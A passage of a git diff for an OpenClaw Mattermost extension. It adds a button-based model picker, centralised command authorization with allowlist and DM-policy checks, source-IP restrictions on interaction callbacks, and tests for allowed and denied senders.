"/oc_model status for details", + ].join("\n"), + buttons: [ + [ + buildButton({ + action: "providers", + ownerUserId: params.ownerUserId, + text: "Browse providers", + style: "primary", + }), + ], + ], + }; +} + +export function renderMattermostProviderPickerView(params: { + ownerUserId: string; + data: ModelsProviderData; + currentModel?: string; +}): MattermostModelPickerRenderedView { + const currentProvider = splitModelRef(params.currentModel)?.provider; + const rows = params.data.providers.map((provider) => [ + buildButton({ + action: "list", + ownerUserId: params.ownerUserId, + text: `${provider} (${params.data.byProvider.get(provider)?.size ?? 0})`, + provider, + page: 1, + style: provider === currentProvider ? "primary" : "default", + }), + ]); + + return { + text: [formatCurrentModelLine(params.currentModel), "", "Select a provider:"].join("\n"), + buttons: rows, + }; +} + +export function renderMattermostModelsPickerView(params: { + ownerUserId: string; + data: ModelsProviderData; + provider: string; + page?: number; + currentModel?: string; +}): MattermostModelPickerRenderedView { + const provider = normalizeProviderId(params.provider); + const models = getProviderModels(params.data, provider); + const current = splitModelRef(params.currentModel); + + if (models.length === 0) { + return { + text: [formatCurrentModelLine(params.currentModel), "", `Unknown provider: ${provider}`].join( + "\n", + ), + buttons: [ + [ + buildButton({ + action: "back", + ownerUserId: params.ownerUserId, + text: "Back to providers", + }), + ], + ], + }; + } + + const page = paginateItems(models, params.page); + const rows: MattermostInteractiveButtonInput[][] = page.items.map((model) => { + const isCurrent = current?.provider === provider && current.model === model; + return [ + buildButton({ + action: "select", + ownerUserId: params.ownerUserId, + text: isCurrent ? `${model} [current]` : model, + provider, + model, + page: page.page, + style: isCurrent ? "primary" : "default", + }), + ]; + }); + + const navRow: MattermostInteractiveButtonInput[] = []; + if (page.hasPrev) { + navRow.push( + buildButton({ + action: "list", + ownerUserId: params.ownerUserId, + text: "Prev", + provider, + page: page.page - 1, + }), + ); + } + if (page.hasNext) { + navRow.push( + buildButton({ + action: "list", + ownerUserId: params.ownerUserId, + text: "Next", + provider, + page: page.page + 1, + }), + ); + } + if (navRow.length > 0) { + rows.push(navRow); + } + + rows.push([ + buildButton({ + action: "back", + ownerUserId: params.ownerUserId, + text: "Back to providers", + }), + ]); + + return { + text: [ + `Models (${provider}) - ${page.totalItems} available`, + formatCurrentModelLine(params.currentModel), + `Page ${page.page}/${page.totalPages}`, + "Select a model to switch immediately.", + ].join("\n"), + buttons: rows, + }; +} diff --git a/extensions/mattermost/src/mattermost/monitor-auth.ts b/extensions/mattermost/src/mattermost/monitor-auth.ts index 1685d4b560a..530502f9101 100644 --- a/extensions/mattermost/src/mattermost/monitor-auth.ts +++ b/extensions/mattermost/src/mattermost/monitor-auth.ts @@ -1,7 +1,12 @@ +import type { OpenClawConfig } from "openclaw/plugin-sdk/mattermost"; import { + isDangerousNameMatchingEnabled, resolveAllowlistMatchSimple, + resolveControlCommandGate, resolveEffectiveAllowFromLists, } from "openclaw/plugin-sdk/mattermost"; +import type { ResolvedMattermostAccount } from "./accounts.js"; +import type { MattermostChannel } from "./client.js"; export function normalizeMattermostAllowEntry(entry: string): string { const trimmed = entry.trim(); @@ -59,3 +64,239 @@ export function isMattermostSenderAllowed(params: { }); return match.allowed; } + +function mapMattermostChannelKind(channelType?: string | null): "direct" | "group" | "channel" { + const normalized = channelType?.trim().toUpperCase(); + if (normalized === "D") { + return "direct"; + } + if (normalized === "G" || normalized === "P") { + return "group"; + } + return "channel"; +} + +export type MattermostCommandAuthDecision = + | { + ok: true; + commandAuthorized: boolean; + channelInfo: MattermostChannel; + kind: "direct" | "group" | "channel"; + chatType: "direct" | "group" | "channel"; + channelName: string; + channelDisplay: string; + roomLabel: string; + } + | { + ok: false; + denyReason: + | "unknown-channel" + | "dm-disabled" + | "dm-pairing" + | "unauthorized" + | "channels-disabled" + | "channel-no-allowlist"; + commandAuthorized: false; + channelInfo: MattermostChannel | null; + kind: "direct" | "group" | "channel"; + chatType: "direct" | "group" | "channel"; + channelName: string; + channelDisplay: string; + roomLabel: string; + }; + +export function authorizeMattermostCommandInvocation(params: { + account: ResolvedMattermostAccount; + cfg: OpenClawConfig; + senderId: string; + senderName: string; + channelId: string; + channelInfo: MattermostChannel | null; + storeAllowFrom?: Array | null; + allowTextCommands: boolean; + hasControlCommand: boolean; +}): MattermostCommandAuthDecision { + const { + account, + cfg, + senderId, + senderName, + channelId, + channelInfo, + storeAllowFrom, + allowTextCommands, + hasControlCommand, + } = params; + + if (!channelInfo) { + return { + ok: false, + denyReason: "unknown-channel", + commandAuthorized: false, + channelInfo: null, + kind: "channel", + chatType: "channel", + channelName: "", + channelDisplay: "", + roomLabel: `#${channelId}`, + }; + } + + const kind = mapMattermostChannelKind(channelInfo.type); + const chatType = kind; + const channelName = channelInfo.name ?? ""; + const channelDisplay = channelInfo.display_name ?? channelName; + const roomLabel = channelName ? `#${channelName}` : channelDisplay || `#${channelId}`; + + const dmPolicy = account.config.dmPolicy ?? "pairing"; + const defaultGroupPolicy = cfg.channels?.defaults?.groupPolicy; + const groupPolicy = account.config.groupPolicy ?? defaultGroupPolicy ?? "allowlist"; + const allowNameMatching = isDangerousNameMatchingEnabled(account.config); + const configAllowFrom = normalizeMattermostAllowList(account.config.allowFrom ?? []); + const configGroupAllowFrom = normalizeMattermostAllowList(account.config.groupAllowFrom ?? []); + const normalizedStoreAllowFrom = normalizeMattermostAllowList(storeAllowFrom ?? []); + const { effectiveAllowFrom, effectiveGroupAllowFrom } = resolveMattermostEffectiveAllowFromLists({ + allowFrom: configAllowFrom, + groupAllowFrom: configGroupAllowFrom, + storeAllowFrom: normalizedStoreAllowFrom, + dmPolicy, + }); + + const useAccessGroups = cfg.commands?.useAccessGroups !== false; + const commandDmAllowFrom = kind === "direct" ? effectiveAllowFrom : configAllowFrom; + const commandGroupAllowFrom = + kind === "direct" + ? effectiveGroupAllowFrom + : configGroupAllowFrom.length > 0 + ? configGroupAllowFrom + : configAllowFrom; + + const senderAllowedForCommands = isMattermostSenderAllowed({ + senderId, + senderName, + allowFrom: commandDmAllowFrom, + allowNameMatching, + }); + const groupAllowedForCommands = isMattermostSenderAllowed({ + senderId, + senderName, + allowFrom: commandGroupAllowFrom, + allowNameMatching, + }); + + const commandGate = resolveControlCommandGate({ + useAccessGroups, + authorizers: [ + { configured: commandDmAllowFrom.length > 0, allowed: senderAllowedForCommands }, + { + configured: commandGroupAllowFrom.length > 0, + allowed: groupAllowedForCommands, + }, + ], + allowTextCommands, + hasControlCommand: allowTextCommands && hasControlCommand, + }); + + const commandAuthorized = + kind === "direct" + ? dmPolicy === "open" || senderAllowedForCommands + : commandGate.commandAuthorized; + + if (kind === "direct") { + if (dmPolicy === "disabled") { + return { + ok: false, + denyReason: "dm-disabled", + commandAuthorized: false, + channelInfo, + kind, + chatType, + channelName, + channelDisplay, + roomLabel, + }; + } + + if (dmPolicy !== "open" && !senderAllowedForCommands) { + return { + ok: false, + denyReason: dmPolicy === "pairing" ? "dm-pairing" : "unauthorized", + commandAuthorized: false, + channelInfo, + kind, + chatType, + channelName, + channelDisplay, + roomLabel, + }; + } + } else { + if (groupPolicy === "disabled") { + return { + ok: false, + denyReason: "channels-disabled", + commandAuthorized: false, + channelInfo, + kind, + chatType, + channelName, + channelDisplay, + roomLabel, + }; + } + + if (groupPolicy === "allowlist") { + if (effectiveGroupAllowFrom.length === 0) { + return { + ok: false, + denyReason: "channel-no-allowlist", + commandAuthorized: false, + channelInfo, + kind, + chatType, + channelName, + channelDisplay, + roomLabel, + }; + } + if (!groupAllowedForCommands) { + return { + ok: false, + denyReason: "unauthorized", + commandAuthorized: false, + channelInfo, + kind, + chatType, + channelName, + channelDisplay, + roomLabel, + }; + } + } + + if (commandGate.shouldBlock) { + return { + ok: false, + denyReason: "unauthorized", + commandAuthorized: false, + channelInfo, + kind, + chatType, + channelName, + channelDisplay, + roomLabel, + }; + } + } + + return { + ok: true, + commandAuthorized, + channelInfo, + kind, + chatType, + channelName, + channelDisplay, + roomLabel, + }; +} diff --git a/extensions/mattermost/src/mattermost/monitor.authz.test.ts b/extensions/mattermost/src/mattermost/monitor.authz.test.ts index 065904f373c..92fd0a3c3f4 100644 --- a/extensions/mattermost/src/mattermost/monitor.authz.test.ts +++ b/extensions/mattermost/src/mattermost/monitor.authz.test.ts @@ -1,6 +1,20 @@ import { resolveControlCommandGate } from "openclaw/plugin-sdk/mattermost"; import { describe, expect, it } from "vitest"; -import { resolveMattermostEffectiveAllowFromLists } from "./monitor-auth.js"; +import type { ResolvedMattermostAccount } from "./accounts.js"; +import { + authorizeMattermostCommandInvocation, + resolveMattermostEffectiveAllowFromLists, +} from "./monitor-auth.js"; + +const accountFixture: ResolvedMattermostAccount = { + accountId: "default", + enabled: true, + botToken: "bot-token", + baseUrl: "https://chat.example.com", + botTokenSource: "config", + baseUrlSource: "config", + config: {}, +}; describe("mattermost monitor authz", () => { it("keeps DM allowlist merged with pairing-store entries", () => { @@ -56,4 +70,74 @@ describe("mattermost monitor authz", () => { expect(commandGate.commandAuthorized).toBe(false); }); + + it("denies group control commands when the sender is outside the allowlist", () => { + const decision = authorizeMattermostCommandInvocation({ + account: { + ...accountFixture, + config: { + groupPolicy: "allowlist", + allowFrom: ["trusted-user"], + }, + }, + cfg: { + commands: { + useAccessGroups: true, + }, + }, + senderId: "attacker", + senderName: "attacker", + channelId: "chan-1", + channelInfo: { + id: "chan-1", + type: "O", + name: "general", + display_name: "General", + }, + storeAllowFrom: [], + allowTextCommands: true, + hasControlCommand: true, + }); + + expect(decision).toMatchObject({ + ok: false, + denyReason: "unauthorized", + kind: "channel", + }); + }); + + it("authorizes group control commands for allowlisted senders", () => { + const decision = authorizeMattermostCommandInvocation({ + account: { + ...accountFixture, + config: { + groupPolicy: "allowlist", + allowFrom: ["trusted-user"], + }, + }, + cfg: { + commands: { + useAccessGroups: true, + }, + }, + senderId: "trusted-user", + senderName: "trusted-user", + channelId: "chan-1", + channelInfo: { + id: "chan-1", + type: "O", + name: "general", + display_name: "General", + }, + storeAllowFrom: [], + allowTextCommands: true, + hasControlCommand: true, + }); + + expect(decision).toMatchObject({ + ok: true, + commandAuthorized: true, + kind: "channel", + }); + }); }); diff --git a/extensions/mattermost/src/mattermost/monitor.ts b/extensions/mattermost/src/mattermost/monitor.ts index 4ce11a6a003..7de24cb03e6 100644 --- a/extensions/mattermost/src/mattermost/monitor.ts +++ b/extensions/mattermost/src/mattermost/monitor.ts @@ -7,6 +7,7 @@ import type { } from "openclaw/plugin-sdk/mattermost"; import { buildAgentMediaPayload, + buildModelsProviderData, DM_GROUP_ACCESS_REASON, createScopedPairingAccess, createReplyPrefixOptions, @@ -39,18 +40,32 @@ import { fetchMattermostUserTeams, normalizeMattermostBaseUrl, sendMattermostTyping, + updateMattermostPost, type MattermostChannel, type MattermostPost, type MattermostUser, } from "./client.js"; import { + buildButtonProps, computeInteractionCallbackUrl, createMattermostInteractionHandler, resolveInteractionCallbackPath, setInteractionCallbackUrl, setInteractionSecret, + type MattermostInteractionResponse, } from "./interactions.js"; -import { isMattermostSenderAllowed, normalizeMattermostAllowList } from "./monitor-auth.js"; +import { + buildMattermostAllowedModelRefs, + parseMattermostModelPickerContext, + renderMattermostModelsPickerView, + renderMattermostProviderPickerView, + resolveMattermostModelPickerCurrentModel, +} from "./model-picker.js"; +import { + authorizeMattermostCommandInvocation, + isMattermostSenderAllowed, + normalizeMattermostAllowList, +} from "./monitor-auth.js"; import { createDedupeCache, formatInboundFromLabel, @@ -106,6 +121,10 @@ function isLoopbackHost(hostname: string): boolean { return hostname === "localhost" || hostname === "127.0.0.1" || hostname === "::1"; } +function normalizeInteractionSourceIps(values?: string[]): string[] { + return (values ?? []).map((value) => value.trim()).filter(Boolean); +} + const recentInboundMessages = createDedupeCache({ ttlMs: RECENT_MATTERMOST_MESSAGE_TTL_MS, maxSize: RECENT_MATTERMOST_MESSAGE_MAX, @@ -463,6 +482,9 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} interactions: account.config.interactions, }); setInteractionCallbackUrl(account.accountId, callbackUrl); + const allowedInteractionSourceIps = normalizeInteractionSourceIps( + account.config.interactions?.allowedSourceIps, + ); try { const mmHost = new URL(baseUrl).hostname; @@ -472,10 +494,18 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} `mattermost: interactions callbackUrl resolved to ${callbackUrl} (loopback) while baseUrl is ${baseUrl}. This MAY be unreachable depending on your deployment. If button clicks don't work, set channels.mattermost.interactions.callbackBaseUrl to a URL reachable from the Mattermost server (e.g. your public reverse proxy URL).`, ); } + if (!isLoopbackHost(callbackHost) && allowedInteractionSourceIps.length === 0) { + runtime.error?.( + `mattermost: interactions callbackUrl resolved to ${callbackUrl} without channels.mattermost.interactions.allowedSourceIps. For safety, non-loopback callback sources will be rejected until you allowlist the Mattermost server or trusted ingress IPs.`, + ); + } } catch { // URL parse failed; ignore and continue (we will fail naturally if callbacks cannot be delivered). } + const effectiveInteractionSourceIps = + allowedInteractionSourceIps.length > 0 ? allowedInteractionSourceIps : ["127.0.0.1", "::1"]; + const unregisterInteractions = registerPluginHttpRoute({ path: interactionPath, fallbackPath: "/mattermost/interactions/default", @@ -484,6 +514,10 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} client, botUserId, accountId: account.accountId, + allowedSourceIps: effectiveInteractionSourceIps, + trustedProxies: cfg.gateway?.trustedProxies, + allowRealIpFallback: cfg.gateway?.allowRealIpFallback === true, + handleInteraction: handleModelPickerInteraction, resolveSessionKey: async (channelId: string, userId: string) => { const channelInfo = await resolveChannelInfo(channelId); const kind = mapMattermostChannelTypeToChatType(channelInfo?.type); @@ -544,7 +578,7 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} Surface: "mattermost" as const, MessageSid: `interaction:${opts.postId}:${opts.actionId}`, WasMentioned: true, - CommandAuthorized: true, + CommandAuthorized: false, OriginatingChannel: "mattermost" as const, OriginatingTo: to, }); @@ -766,6 +800,394 @@ export async function monitorMattermostProvider(opts: MonitorMattermostOpts = {} } }; + const buildModelPickerProps = ( + channelId: string, + buttons: Array, + ): Record | undefined => + buildButtonProps({ + callbackUrl, + accountId: account.accountId, + channelId, + buttons, + }); + + const updateModelPickerPost = async (params: { + channelId: string; + postId: string; + message: string; + buttons?: Array; + }): Promise => { + const props = buildModelPickerProps(params.channelId, params.buttons ?? []) ?? { + attachments: [], + }; + await updateMattermostPost(client, params.postId, { + message: params.message, + props, + }); + return {}; + }; + + const runModelPickerCommand = async (params: { + commandText: string; + commandAuthorized: boolean; + route: ReturnType; + channelId: string; + senderId: string; + senderName: string; + kind: ChatType; + chatType: "direct" | "group" | "channel"; + channelName?: string; + channelDisplay?: string; + roomLabel: string; + teamId?: string; + postId: string; + deliverReplies?: boolean; + }): Promise => { + const to = params.kind === "direct" ? `user:${params.senderId}` : `channel:${params.channelId}`; + const fromLabel = + params.kind === "direct" + ? `Mattermost DM from ${params.senderName}` + : `Mattermost message in ${params.roomLabel} from ${params.senderName}`; + const ctxPayload = core.channel.reply.finalizeInboundContext({ + Body: params.commandText, + BodyForAgent: params.commandText, + RawBody: params.commandText, + CommandBody: params.commandText, + From: + params.kind === "direct" + ? `mattermost:${params.senderId}` + : params.kind === "group" + ? `mattermost:group:${params.channelId}` + : `mattermost:channel:${params.channelId}`, + To: to, + SessionKey: params.route.sessionKey, + AccountId: params.route.accountId, + ChatType: params.chatType, + ConversationLabel: fromLabel, + GroupSubject: + params.kind !== "direct" ? params.channelDisplay || params.roomLabel : undefined, + GroupChannel: params.channelName ? `#${params.channelName}` : undefined, + GroupSpace: params.teamId, + SenderName: params.senderName, + SenderId: params.senderId, + Provider: "mattermost" as const, + Surface: "mattermost" as const, + MessageSid: `interaction:${params.postId}:${Date.now()}`, + Timestamp: Date.now(), + WasMentioned: true, + CommandAuthorized: params.commandAuthorized, + CommandSource: "native" as const, + OriginatingChannel: "mattermost" as const, + OriginatingTo: to, + }); + + const tableMode = core.channel.text.resolveMarkdownTableMode({ + cfg, + channel: "mattermost", + accountId: account.accountId, + }); + const textLimit = core.channel.text.resolveTextChunkLimit( + cfg, + "mattermost", + account.accountId, + { + fallbackLimit: account.textChunkLimit ?? 4000, + }, + ); + const { onModelSelected, ...prefixOptions } = createReplyPrefixOptions({ + cfg, + agentId: params.route.agentId, + channel: "mattermost", + accountId: account.accountId, + }); + const shouldDeliverReplies = params.deliverReplies === true; + const capturedTexts: string[] = []; + const typingCallbacks = shouldDeliverReplies + ? createTypingCallbacks({ + start: () => sendTypingIndicator(params.channelId), + onStartError: (err) => { + logTypingFailure({ + log: (message) => logger.debug?.(message), + channel: "mattermost", + target: params.channelId, + error: err, + }); + }, + }) + : undefined; + const { dispatcher, replyOptions, markDispatchIdle } = + core.channel.reply.createReplyDispatcherWithTyping({ + ...prefixOptions, + // Picker-triggered confirmations should stay immediate. + deliver: async (payload: ReplyPayload) => { + const mediaUrls = payload.mediaUrls ?? (payload.mediaUrl ? [payload.mediaUrl] : []); + const text = core.channel.text + .convertMarkdownTables(payload.text ?? "", tableMode) + .trim(); + + if (!shouldDeliverReplies) { + if (text) { + capturedTexts.push(text); + } + return; + } + + if (mediaUrls.length === 0) { + const chunkMode = core.channel.text.resolveChunkMode( + cfg, + "mattermost", + account.accountId, + ); + const chunks = core.channel.text.chunkMarkdownTextWithMode(text, textLimit, chunkMode); + for (const chunk of chunks.length > 0 ? chunks : [text]) { + if (!chunk) { + continue; + } + await sendMessageMattermost(to, chunk, { + accountId: account.accountId, + }); + } + return; + } + + let first = true; + for (const mediaUrl of mediaUrls) { + const caption = first ? text : ""; + first = false; + await sendMessageMattermost(to, caption, { + accountId: account.accountId, + mediaUrl, + }); + } + }, + onError: (err, info) => { + runtime.error?.(`mattermost model picker ${info.kind} reply failed: ${String(err)}`); + }, + onReplyStart: typingCallbacks?.onReplyStart, + }); + + await core.channel.reply.withReplyDispatcher({ + dispatcher, + onSettled: () => { + markDispatchIdle(); + }, + run: () => + core.channel.reply.dispatchReplyFromConfig({ + ctx: ctxPayload, + cfg, + dispatcher, + replyOptions: { + ...replyOptions, + disableBlockStreaming: + typeof account.blockStreaming === "boolean" ? !account.blockStreaming : undefined, + onModelSelected, + }, + }), + }); + + return capturedTexts.join("\n\n").trim(); + }; + + async function handleModelPickerInteraction(params: { + payload: { + channel_id: string; + post_id: string; + team_id?: string; + user_id: string; + }; + userName: string; + context: Record; + }): Promise { + const pickerState = parseMattermostModelPickerContext(params.context); + if (!pickerState) { + return null; + } + + if (pickerState.ownerUserId !== params.payload.user_id) { + return { + ephemeral_text: "Only the person who opened this picker can use it.", + }; + } + + const channelInfo = await resolveChannelInfo(params.payload.channel_id); + const pickerCommandText = + pickerState.action === "select" + ? `/model ${pickerState.provider}/${pickerState.model}` + : pickerState.action === "list" + ? `/models ${pickerState.provider}` + : "/models"; + const allowTextCommands = core.channel.commands.shouldHandleTextCommands({ + cfg, + surface: "mattermost", + }); + const hasControlCommand = core.channel.text.hasControlCommand(pickerCommandText, cfg); + const dmPolicy = account.config.dmPolicy ?? "pairing"; + const storeAllowFrom = normalizeMattermostAllowList( + await readStoreAllowFromForDmPolicy({ + provider: "mattermost", + accountId: account.accountId, + dmPolicy, + readStore: pairing.readStoreForDmPolicy, + }), + ); + const auth = authorizeMattermostCommandInvocation({ + account, + cfg, + senderId: params.payload.user_id, + senderName: params.userName, + channelId: params.payload.channel_id, + channelInfo, + storeAllowFrom, + allowTextCommands, + hasControlCommand, + }); + if (!auth.ok) { + if (auth.denyReason === "dm-pairing") { + const { code } = await pairing.upsertPairingRequest({ + id: params.payload.user_id, + meta: { name: params.userName }, + }); + return { + ephemeral_text: core.channel.pairing.buildPairingReply({ + channel: "mattermost", + idLine: `Your Mattermost user id: ${params.payload.user_id}`, + code, + }), + }; + } + const denyText = + auth.denyReason === "unknown-channel" + ? "Temporary error: unable to determine channel type. Please try again." + : auth.denyReason === "dm-disabled" + ? "This bot is not accepting direct messages." + : auth.denyReason === "channels-disabled" + ? "Model picker actions are disabled in channels." + : auth.denyReason === "channel-no-allowlist" + ? "Model picker actions are not configured for this channel." + : "Unauthorized."; + return { + ephemeral_text: denyText, + }; + } + const kind = auth.kind; + const chatType = auth.chatType; + const teamId = auth.channelInfo.team_id ?? params.payload.team_id ?? undefined; + const channelName = auth.channelName || undefined; + const channelDisplay = auth.channelDisplay || auth.channelName || params.payload.channel_id; + const roomLabel = auth.roomLabel; + const route = core.channel.routing.resolveAgentRoute({ + cfg, + channel: "mattermost", + accountId: account.accountId, + teamId, + peer: { + kind, + id: kind === "direct" ? params.payload.user_id : params.payload.channel_id, + }, + }); + + const data = await buildModelsProviderData(cfg, route.agentId); + if (data.providers.length === 0) { + return await updateModelPickerPost({ + channelId: params.payload.channel_id, + postId: params.payload.post_id, + message: "No models available.", + }); + } + + if (pickerState.action === "providers" || pickerState.action === "back") { + const currentModel = resolveMattermostModelPickerCurrentModel({ + cfg, + route, + data, + }); + const view = renderMattermostProviderPickerView({ + ownerUserId: pickerState.ownerUserId, + data, + currentModel, + }); + return await updateModelPickerPost({ + channelId: params.payload.channel_id, + postId: params.payload.post_id, + message: view.text, + buttons: view.buttons, + }); + } + + if (pickerState.action === "list") { + const currentModel = resolveMattermostModelPickerCurrentModel({ + cfg, + route, + data, + }); + const view = renderMattermostModelsPickerView({ + ownerUserId: pickerState.ownerUserId, + data, + provider: pickerState.provider, + page: pickerState.page, + currentModel, + }); + return await updateModelPickerPost({ + channelId: params.payload.channel_id, + postId: params.payload.post_id, + message: view.text, + buttons: view.buttons, + }); + } + + const targetModelRef = `${pickerState.provider}/${pickerState.model}`; + if (!buildMattermostAllowedModelRefs(data).has(targetModelRef)) { + return { + ephemeral_text: `That model is no longer available: ${targetModelRef}`, + }; + } + + void (async () => { + try { + await runModelPickerCommand({ + commandText: `/model ${targetModelRef}`, + commandAuthorized: auth.commandAuthorized, + route, + channelId: params.payload.channel_id, + senderId: params.payload.user_id, + senderName: params.userName, + kind, + chatType, + channelName, + channelDisplay, + roomLabel, + teamId, + postId: params.payload.post_id, + deliverReplies: true, + }); + const updatedModel = resolveMattermostModelPickerCurrentModel({ + cfg, + route, + data, + skipCache: true, + }); + const view = renderMattermostModelsPickerView({ + ownerUserId: pickerState.ownerUserId, + data, + provider: pickerState.provider, + page: pickerState.page, + currentModel: updatedModel, + }); + + await updateModelPickerPost({ + channelId: params.payload.channel_id, + postId: params.payload.post_id, + message: view.text, + buttons: view.buttons, + }); + } catch (err) { + runtime.error?.(`mattermost model picker select failed: ${String(err)}`); + } + })(); + + return {}; + } + const handlePost = async ( post: MattermostPost, payload: MattermostEventPayload, diff --git a/extensions/mattermost/src/mattermost/send.test.ts b/extensions/mattermost/src/mattermost/send.test.ts index 364a4c91744..41ce2dd283a 100644 --- a/extensions/mattermost/src/mattermost/send.test.ts +++ b/extensions/mattermost/src/mattermost/send.test.ts @@ -156,6 +156,32 @@ describe("sendMessageMattermost", () => { }), ); }); + + it("builds interactive button props when buttons are provided", async () => { + await sendMessageMattermost("channel:town-square", "Pick a model", { + buttons: [[{ callback_data: "mdlprov", text: "Browse providers" }]], + }); + + expect(mockState.createMattermostPost).toHaveBeenCalledWith( + {}, + expect.objectContaining({ + channelId: "town-square", + message: "Pick a model", + props: expect.objectContaining({ + attachments: expect.arrayContaining([ + expect.objectContaining({ + actions: expect.arrayContaining([ + expect.objectContaining({ + id: "mdlprov", + name: "Browse providers", + }), + ]), + }), + ]), + }), + }), + ); + }); }); describe("parseMattermostTarget", () => { diff --git a/extensions/mattermost/src/mattermost/send.ts b/extensions/mattermost/src/mattermost/send.ts index 9011abbd27e..7af69a65ada 100644 --- a/extensions/mattermost/src/mattermost/send.ts +++ b/extensions/mattermost/src/mattermost/send.ts @@ -13,6 +13,12 @@ import { uploadMattermostFile, type MattermostUser, } from "./client.js"; +import { + buildButtonProps, + resolveInteractionCallbackUrl, + setInteractionSecret, + type MattermostInteractiveButtonInput, +} from "./interactions.js"; export type MattermostSendOpts = { cfg?: OpenClawConfig; @@ -23,6 +29,8 @@ export type MattermostSendOpts = { mediaLocalRoots?: readonly string[]; replyToId?: string; props?: Record; + buttons?: Array; + attachmentText?: string; }; export type MattermostSendResult = { @@ -30,6 +38,10 @@ export type MattermostSendResult = { channelId: string; }; +export type MattermostReplyButtons = Array< + MattermostInteractiveButtonInput | MattermostInteractiveButtonInput[] +>; + type MattermostTarget = | { kind: "channel"; id: string } | { kind: "channel-name"; name: string } @@ -205,13 +217,19 @@ async function resolveTargetChannelId(params: { return channel.id; } -export async function sendMessageMattermost( +type MattermostSendContext = { + cfg: OpenClawConfig; + accountId: string; + token: string; + baseUrl: string; + channelId: string; +}; + +async function resolveMattermostSendContext( to: string, - text: string, opts: MattermostSendOpts = {}, -): Promise { +): Promise { const core = getCore(); - const logger = core.logging.getChildLogger({ module: "mattermost" }); const cfg = opts.cfg ?? core.config.loadConfig(); const account = resolveMattermostAccount({ cfg, @@ -237,7 +255,52 @@ export async function sendMessageMattermost( token, }); + return { + cfg, + accountId: account.accountId, + token, + baseUrl, + channelId, + }; +} + +export async function resolveMattermostSendChannelId( + to: string, + opts: MattermostSendOpts = {}, +): Promise { + return (await resolveMattermostSendContext(to, opts)).channelId; +} + +export async function sendMessageMattermost( + to: string, + text: string, + opts: MattermostSendOpts = {}, +): Promise { + const core = getCore(); + const logger = core.logging.getChildLogger({ module: "mattermost" }); + const { cfg, accountId, token, baseUrl, channelId } = await resolveMattermostSendContext( + to, + opts, + ); + const client = createMattermostClient({ baseUrl, botToken: token }); + let props = opts.props; + if (!props && Array.isArray(opts.buttons) && opts.buttons.length > 0) { + setInteractionSecret(accountId, token); + props = buildButtonProps({ + callbackUrl: resolveInteractionCallbackUrl(accountId, { + gateway: cfg.gateway, + interactions: resolveMattermostAccount({ + cfg, + accountId, + }).config?.interactions, + }), + accountId, + channelId, + buttons: opts.buttons, + text: opts.attachmentText, + }); + } let message = text?.trim() ?? ""; let fileIds: string[] | undefined; let uploadError: Error | undefined; @@ -269,7 +332,7 @@ export async function sendMessageMattermost( const tableMode = core.channel.text.resolveMarkdownTableMode({ cfg, channel: "mattermost", - accountId: account.accountId, + accountId, }); message = core.channel.text.convertMarkdownTables(message, tableMode); } @@ -286,12 +349,12 @@ export async function sendMessageMattermost( message, rootId: opts.replyToId, fileIds, - props: opts.props, + props, }); core.channel.activity.record({ channel: "mattermost", - accountId: account.accountId, + accountId, direction: "outbound", }); diff --git a/extensions/mattermost/src/mattermost/slash-commands.test.ts b/extensions/mattermost/src/mattermost/slash-commands.test.ts index 39e4c1670d6..4beaea98ca5 100644 --- a/extensions/mattermost/src/mattermost/slash-commands.test.ts +++ b/extensions/mattermost/src/mattermost/slash-commands.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it, vi } from "vitest"; import type { MattermostClient } from "./client.js"; import { + DEFAULT_COMMAND_SPECS, parseSlashCommandPayload, registerSlashCommands, resolveCallbackUrl, @@ -55,9 +56,18 @@ describe("slash-commands", () => { const triggerMap = new Map([["oc_status", "status"]]); expect(resolveCommandText("oc_status", " ", triggerMap)).toBe("/status"); expect(resolveCommandText("oc_status", " now ", triggerMap)).toBe("/status now"); + expect(resolveCommandText("oc_models", " openai ", undefined)).toBe("/models openai"); expect(resolveCommandText("oc_help", "", undefined)).toBe("/help"); }); + it("registers both public model slash commands", () => { + expect( + DEFAULT_COMMAND_SPECS.filter( + (spec) => spec.trigger === "oc_model" || spec.trigger === "oc_models", + ).map((spec) => spec.trigger), + ).toEqual(["oc_model", "oc_models"]); + }); + it("normalizes callback path in slash config", () => { const config = resolveSlashCommandConfig({ callbackPath: "api/channels/mattermost/command" }); expect(config.callbackPath).toBe("/api/channels/mattermost/command"); diff --git a/extensions/mattermost/src/mattermost/slash-commands.ts b/extensions/mattermost/src/mattermost/slash-commands.ts index 89878289a6c..c7ddd80e7e2 100644 --- a/extensions/mattermost/src/mattermost/slash-commands.ts +++ b/extensions/mattermost/src/mattermost/slash-commands.ts @@ -141,6 +141,13 @@ export const DEFAULT_COMMAND_SPECS: MattermostCommandSpec[] = [ autoComplete: true, autoCompleteHint: "[model-name]", }, + { + trigger: "oc_models", + originalName: "models", + description: "Browse available models", + autoComplete: true, + autoCompleteHint: "[provider]", + }, { trigger: "oc_new", originalName: "new", diff --git a/extensions/mattermost/src/mattermost/slash-http.ts b/extensions/mattermost/src/mattermost/slash-http.ts index 004d8af80d7..3c64b083d3a 100644 --- a/extensions/mattermost/src/mattermost/slash-http.ts +++ b/extensions/mattermost/src/mattermost/slash-http.ts @@ -6,28 +6,34 @@ */ import type { IncomingMessage, ServerResponse } from "node:http"; -import type { OpenClawConfig, ReplyPayload, RuntimeEnv } from "openclaw/plugin-sdk/mattermost"; import { + buildModelsProviderData, createReplyPrefixOptions, createTypingCallbacks, - isDangerousNameMatchingEnabled, logTypingFailure, - resolveControlCommandGate, + type OpenClawConfig, + type ReplyPayload, + type RuntimeEnv, } from "openclaw/plugin-sdk/mattermost"; import type { ResolvedMattermostAccount } from "../mattermost/accounts.js"; import { getMattermostRuntime } from "../runtime.js"; import { createMattermostClient, fetchMattermostChannel, - fetchMattermostUser, normalizeMattermostBaseUrl, sendMattermostTyping, type MattermostChannel, } from "./client.js"; import { - isMattermostSenderAllowed, + renderMattermostModelSummaryView, + renderMattermostModelsPickerView, + renderMattermostProviderPickerView, + resolveMattermostModelPickerCurrentModel, + resolveMattermostModelPickerEntry, +} from "./model-picker.js"; +import { + authorizeMattermostCommandInvocation, normalizeMattermostAllowList, - resolveMattermostEffectiveAllowFromLists, } from "./monitor-auth.js"; import { sendMessageMattermost } from "./send.js"; import { @@ -128,29 +134,11 @@ async function authorizeSlashInvocation(params: { }; } - const channelType = channelInfo.type ?? undefined; - const isDirectMessage = 